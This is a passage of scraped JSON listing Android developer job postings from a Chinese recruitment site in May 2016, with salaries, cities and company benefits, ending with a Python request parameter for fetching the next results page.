企业服务","score":1372,"district":"海淀区","companyLabelList":["弹性工作","敏捷研发","股票期权","年底双薪"],"deliverCount":6,"leaderName":"刘学臣","companySize":"2000人以上","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462444216000,"positonTypesMap":null,"hrScore":77,"flowScore":148,"showCount":3214,"pvScore":73.37271526202157,"plus":"是","businessZones":["双榆树","中关村","大钟寺"],"publisherId":994817,"loginTime":1462876049000,"appShow":1782,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":99,"adWord":1,"formatCreateTime":"2016-05-05","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 18:41:29","companyId":94307,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"宁波海大物联科技有限公司","city":"宁波","salary":"8k-15k","financeStage":"成长型(A轮)","positionId":1070249,"companyLogo":"image2/M00/03/32/CgqLKVXtWiuAUbXgAAB1g_5FW3Y484.png?cc=0.6152940313331783","positionFirstType":"技术","companyName":"海大物联","positionAdvantage":"一流的技术团队，丰厚的薪资回报。","industryField":"移动互联网 · 企业服务","score":1353,"district":"鄞州区","companyLabelList":["节日礼物","年底双薪","带薪年假","年度旅游"],"deliverCount":0,"leaderName":"暂没有填写","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462876889000,"positonTypesMap":null,"hrScore":75,"flowScore":167,"showCount":1031,"pvScore":47.6349840620252,"plus":"是","businessZones":null,"publisherId":2494230,"loginTime":1462885305000,"appShow":184,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":63,"adWord":0,"formatCreateTime":"18:41发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 17:57:43","companyId":89004,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"学历不限","jobNature":"全职","companyShortName":"温州康宁医院股份有限公司","city":"杭州","salary":"10k-20k","financeStage":"上市公司","positionId":1387825,"companyLogo":"i/image/M00/02/C2/CgqKkVabp--APWTjAACHHJJxyPc207.png","positionFirstType":"技术","companyName":"的的心理","positionAdvantage":"上市公司内部创业项目。优质福利待遇+期权","industryField":"移动互联网 · 医疗健康","score":1344,"district":"江干区","companyLabelList":["年底双薪","股票期权","带薪年假","招募合伙人"],"deliverCount":5,"leaderName":"杨怡","companySize":"500-2000人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462874263000,"positonTypesMap":null,"hrScore":74,"flowScore":153,"showCount":1312,"pvScore":66.87818057124453,"plus":"是","businessZones":["四季青","景芳"],"publisherId":3655492,"loginTime":1462873104000,"appShow":573,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"17:57发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 13:49:47","companyId":15071,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"杭州短趣网络传媒技术有限公司","city":"杭州","salary":"10k-20k","financeStage":"成长型(A轮)","positionId":1803257,"companyLogo":"image2/M00/0B/80/CgpzWlYYse2AJgc0AABG9iSEWAE052.jpg","positionFirstType":"技术","companyName":"短趣网","positionAdvantage":"高额项目奖金，行业内有竞争力的薪资水平","industryField":"移动互联网 · 社交网络","score":1343,"district":null,"companyLabelList":["绩效奖金","年终分红","五险一金","通讯津贴"],"deliverCount":1,"leaderName":"王强宇","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":28,"imstate":"today","createTimeSort":1462859387000,"positonTypesMap":null,"hrScore":68,"flowScore":178,"showCount":652,"pvScore":32.82081357576065,"plus":"否","businessZones":null,"publisherId":4362468,"loginTime":1462870318000,"appShow":0,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"13:49发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 13:55:08","companyId":28422,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"成都品果科技有限公司","city":"北京","salary":"18k-30k","financeStage":"成长型(B轮)","positionId":290875,"companyLogo":"i/image/M00/02/F3/Cgp3O1ah7FuAbSnkAACMlcPiWXk393.png","positionFirstType":"技术","companyName":"camera360","positionAdvantage":"高大上的福利待遇、发展前景等着你哦！","industryField":"移动互联网","score":1339,"district":"海淀区","companyLabelList":["年终分红","绩效奖金","年底双薪","五险一金"],"deliverCount":6,"leaderName":"徐灏","companySize":"15-50人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":0,"imstate":"disabled","createTimeSort":1462859708000,"positonTypesMap":null,"hrScore":80,"flowScore":188,"showCount":1199,"pvScore":19.745453118211834,"plus":"是","businessZones":["中关村","北京大学","苏州街"],"publisherId":389753,"loginTime":1462866640000,"appShow":0,"calcScore":false,"showOrder":1433137697136,"haveDeliver":false,"orderBy":71,"adWord":0,"formatCreateTime":"13:55发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 17:57:55","companyId":89004,"positionName":"Android","positionType":"移动开发","workYear":"不限","education":"学历不限","jobNature":"全职","companyShortName":"温州康宁医院股份有限公司","city":"杭州","salary":"10k-20k","financeStage":"上市公司","positionId":1410975,"companyLogo":"i/image/M00/02/C2/CgqKkVabp--APWTjAACHHJJxyPc207.png","positionFirstType":"技术","companyName":"的的心理","positionAdvantage":"上市公司内部创业团队","industryField":"移动互联网 · 医疗健康","score":1335,"district":null,"companyLabelList":["年底双薪","股票期权","带薪年假","招募合伙人"],"deliverCount":9,"leaderName":"杨怡","companySize":"500-2000人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462874275000,"positonTypesMap":null,"hrScore":74,"flowScore":144,"showCount":2085,"pvScore":77.9570832081189,"plus":"是","businessZones":null,"publisherId":3655492,"loginTime":1462873104000,"appShow":711,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"17:57发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-09 09:46:32","companyId":113895,"positionName":"Android开发工程师","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"北京互动金服科技有限公司","city":"北京","salary":"15k-25k","financeStage":"成长型(不需要融资)","positionId":1473342,"companyLogo":"i/image/M00/03/D8/CgqKkVbEA_uAe1k4AAHTfy3RxPY812.jpg","positionFirstType":"技术","companyName":"互动科技","positionAdvantage":"五险一金 补充医疗 年终奖 福利津贴","industryField":"移动互联网 · O2O","score":1326,"district":"海淀区","companyLabelList":,"deliverCount":32,"leaderName":"暂没有填写","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":980,"adjustScore":48,"imstate":"today","createTimeSort":1462758392000,"positonTypesMap":null,"hrScore":82,"flowScore":153,"showCount":3741,"pvScore":67.01698353391613,"plus":"是","businessZones":["白石桥","魏公村","万寿寺","白石桥","魏公村","万寿寺"],"publisherId":3814477,"loginTime":1462874842000,"appShow":0,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":63,"adWord":0,"formatCreateTime":"1天前发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 16:50:51","companyId":23999,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"本科","jobNature":"全职","companyShortName":"南京智鹤电子科技有限公司","city":"长沙","salary":"8k-12k","financeStage":"成长型(A轮)","positionId":1804917,"companyLogo":"image1/M00/35/EB/CgYXBlWc5KGAVeL8AAAOi4lPhWU502.jpg","positionFirstType":"技术","companyName":"智鹤科技","positionAdvantage":"弹性工作制 技术氛围浓厚","industryField":"移动互联网","score":1322,"district":null,"companyLabelList":["股票期权","绩效奖金","专项奖金","年终分红"],"deliverCount":1,"leaderName":"暂没有填写","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":0,"imstate":"disabled","createTimeSort":1462870251000,"positonTypesMap":null,"hrScore":62,"flowScore":191,"showCount":283,"pvScore":15.939035855045429,"plus":"否","businessZones":null,"publisherId":282621,"loginTime":1462869967000,"appShow":0,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"16:50发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-08 23:12:56","companyId":24287,"positionName":"android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"杭州腾展科技有限公司","city":"杭州","salary":"15k-22k","financeStage":"成熟型(D轮及以上)","positionId":1197868,"companyLogo":"image1/M00/0B/7D/Cgo8PFTzIBOAEd2dAACMq9tQoMA797.png","positionFirstType":"技术","companyName":"腾展叮咚（Dingtone）","positionAdvantage":"每半年调整薪资，今年上市！","industryField":"移动互联网 · 社交网络","score":1322,"district":"西湖区","companyLabelList":["出国旅游","股票期权","精英团队","强悍的创始人"],"deliverCount":9,"leaderName":"魏松祥（Steve Wei)","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"disabled","createTimeSort":1462720376000,"positonTypesMap":null,"hrScore":71,"flowScore":137,"showCount":3786,"pvScore":87.51582865460942,"plus":"是","businessZones":["文三路","古荡","高新文教区"],"publisherId":2946659,"loginTime":1462891920000,"appShow":940,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":66,"adWord":0,"formatCreateTime":"2天前发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 09:38:43","companyId":19875,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"维沃移动通信有限公司","city":"南京","salary":"12k-24k","financeStage":"初创型(未融资)","positionId":938099,"companyLogo":"image1/M00/00/25/Cgo8PFTUWH-Ab57wAABKOdLbNuw116.png","positionFirstType":"技术","companyName":"vivo","positionAdvantage":"vivo，追求极致","industryField":"移动互联网","score":1320,"district":"建邺区","companyLabelList":["年终分红","五险一金","带薪年假","年度旅游"],"deliverCount":4,"leaderName":"暂没有填写","companySize":"2000人以上","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462844323000,"positonTypesMap":null,"hrScore":57,"flowScore":149,"showCount":981,"pvScore":72.14107985481958,"plus":"是","businessZones":["沙洲","小行","赛虹桥"],"publisherId":302876,"loginTime":1462871424000,"appShow":353,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":66,"adWord":0,"formatCreateTime":"09:38发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 09:49:59","companyId":20473,"positionName":"安卓开发工程师","positionType":"移动开发","workYear":"3-5年","education":"大专","jobNature":"全职","companyShortName":"广州棒谷网络科技有限公司","city":"广州","salary":"8k-15k","financeStage":"成长型(A轮)","positionId":1733545,"companyLogo":"image1/M00/0F/36/Cgo8PFT9AgGAciySAAA1THfEIAE433.jpg","positionFirstType":"技术","companyName":"广州棒谷网络科技有限公司","positionAdvantage":"五险一金 大平台 带薪休假","industryField":"电子商务","score":1320,"district":null,"companyLabelList":["项目奖金","绩效奖金","年终奖","五险一金"],"deliverCount":15,"leaderName":"大邹","companySize":"500-2000人","randomScore":0,"countAdjusted":false,"relScore":980,"adjustScore":48,"imstate":"today","createTimeSort":1462844999000,"positonTypesMap":null,"hrScore":79,"flowScore":144,"showCount":3943,"pvScore":77.78928844199473,"plus":"是","businessZones":null,"publisherId":235413,"loginTime":1462878251000,"appShow":1562,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"09:49发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-04 11:41:59","companyId":87117,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"本科","jobNature":"全职","companyShortName":"南京信通科技有限责任公司","city":"南京","salary":"10k-12k","financeStage":"成长型(不需要融资)","positionId":966059,"companyLogo":"image1/M00/3F/51/CgYXBlXASfuADyOsAAA_na14zho635.jpg?cc=0.6724986131303012","positionFirstType":"技术","companyName":"联创集团信通科技","positionAdvantage":"提供完善的福利和薪酬晋升制度","industryField":"移动互联网 · 教育","score":1320,"district":"鼓楼区","companyLabelList":["节日礼物","带薪年假","补充医保","补充子女医保"],"deliverCount":4,"leaderName":"暂没有填写","companySize":"150-500人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462333319000,"positonTypesMap":null,"hrScore":88,"flowScore":143,"showCount":3161,"pvScore":79.41660570401937,"plus":"是","businessZones":["虎踞路","龙江","西桥"],"publisherId":2230973,"loginTime":1462871511000,"appShow":711,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":41,"adWord":0,"formatCreateTime":"2016-05-04","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 09:26:58","companyId":103051,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"大专","jobNature":"全职","companyShortName":"浙江米果网络股份有限公司","city":"杭州","salary":"12k-22k","financeStage":"成长型(A轮)","positionId":1233873,"companyLogo":"image2/M00/10/DF/CgqLKVYwKQSAR2p4AAJAM590SJM137.png?cc=0.17502541467547417","positionFirstType":"技术","companyName":"米果小站","positionAdvantage":"充分的发展成长空间","industryField":"移动互联网","score":1320,"district":"滨江区","companyLabelList":["年底双薪","股票期权","午餐补助","五险一金"],"deliverCount":5,"leaderName":"暂没有填写","companySize":"150-500人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"disabled","createTimeSort":1462843618000,"positonTypesMap":null,"hrScore":72,"flowScore":137,"showCount":1582,"pvScore":87.93158026917071,"plus":"是","businessZones":["江南","长河","西兴"],"publisherId":2992735,"loginTime":1462889479000,"appShow":312,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":63,"adWord":0,"formatCreateTime":"09:26发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 10:01:39","companyId":70044,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"大专","jobNature":"全职","companyShortName":"武汉平行世界网络科技有限公司","city":"武汉","salary":"9k-13k","financeStage":"初创型(天使轮)","positionId":664813,"companyLogo":"image2/M00/00/3E/CgqLKVXdccSAQE91AACv-6V33Vo860.jpg","positionFirstType":"技术","companyName":"平行世界","positionAdvantage":"弹性工作、带薪年假、待遇优厚、3号线直达","industryField":"电子商务 · 文化娱乐","score":1320,"district":"蔡甸区","companyLabelList":["年底双薪","待遇优厚","专项奖金","带薪年假"],"deliverCount":18,"leaderName":"暂没有填写","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462845699000,"positonTypesMap":null,"hrScore":76,"flowScore":128,"showCount":1934,"pvScore":99.6001810598155,"plus":"是","businessZones":["沌口"],"publisherId":1694134,"loginTime":1462892151000,"appShow":759,"calcScore":false,"showOrder":1433141412915,"haveDeliver":false,"orderBy":68,"adWord":0,"formatCreateTime":"10:01发布","totalCount":0,"searchScore":0.0}]}}}

post_data = {'first':'true','kd':'Android','pn':'2'} ＃获取第2页的内容